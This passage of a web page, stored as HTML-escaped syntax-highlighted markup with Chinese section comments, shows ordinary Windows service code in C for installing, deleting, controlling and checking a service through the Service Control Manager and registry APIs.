#000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;serviceMangerHandle&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wcscpy(&amp;nbsp;tmpPath,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SYSTEM\CurrentControlSet\Services\&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wcscat(&amp;nbsp;tmpPath,&amp;nbsp;SERVICE_NAME&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;RegOpenKey(&amp;nbsp;HKEY_LOCAL_MACHINE,&amp;nbsp;tmpPath,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;key&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ERROR_SUCCESS&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Open&amp;nbsp;key&amp;nbsp;%s&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;tmpPath,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegSetValueEx(&amp;nbsp;key,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Description&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;REG_SZ,&amp;nbsp;(BYTE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)SERVICE_DESCRIPTION,&amp;nbsp;wcslen(SERVICE_DESCRIPTION)&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(key);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;StartService(&amp;nbsp;serviceHandle,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Install&amp;nbsp;service&amp;nbsp;ok,&amp;nbsp;but&amp;nbsp;start&amp;nbsp;it&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Install&amp;nbsp;service&amp;nbsp;ok,&amp;nbsp;start&amp;nbsp;it&amp;nbsp;ok.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;serviceHandle&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;serviceMangerHandle&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;删除服务&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;BOOL&amp;nbsp;ServiceUnstall(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;serviceName&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_HANDLE&amp;nbsp;scmHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;OpenSCManager&amp;nbsp;(NULL,&amp;nbsp;NULL,&amp;nbsp;SC_MANAGER_ALL_ACCESS);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;scmHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SC_HANDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;scHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;OpenService(&amp;nbsp;scmHandle,&amp;nbsp;serviceName,&amp;nbsp;SERVICE_ALL_ACCESS&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;scHandle&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;NULL&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;scmHandle&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DeleteService(&amp;nbsp;scHandle&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;scHandle&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseServiceHandle(&amp;nbsp;scmHandle&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE;&lt;br&gt;&lt;br&gt;}&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;服务控制函数&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ServiceControl(&amp;nbsp;DWORD&amp;nbsp;request&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceControl:&amp;nbsp;Into&amp;nbsp;ServiceControl\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;switch&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;request&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;case&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_CONTROL_PAUSE:&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_PAUSED;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;case&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_CONTROL_CONTINUE:&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_RUNNING;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;case&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_CONTROL_STOP:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceControl:&amp;nbsp;Try&amp;nbsp;to&amp;nbsp;stop&amp;nbsp;service\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwWin32ExitCode&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCurrentState&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_STOP_PENDING;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwCheckPoint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;serviceStatus.dwWaitHint&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;case&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SERVICE_CONTROL_INTERROGATE:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;default&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;:&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceControl:&amp;nbsp;Error&amp;nbsp;arguments\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SetServiceStatus(&amp;nbsp;hServiceStatus,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;serviceStatus&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmp,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ServiceMain:&amp;nbsp;Control&amp;nbsp;service&amp;nbsp;error:&amp;nbsp;%d\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;GetLastError()&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmp&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;}&lt;br&gt;&lt;br&gt;BOOL&amp;nbsp;ServiceExists(&amp;nbsp;WCHAR&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;path&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpPath[MAX_PATH]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HKEY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;key;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;value[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: 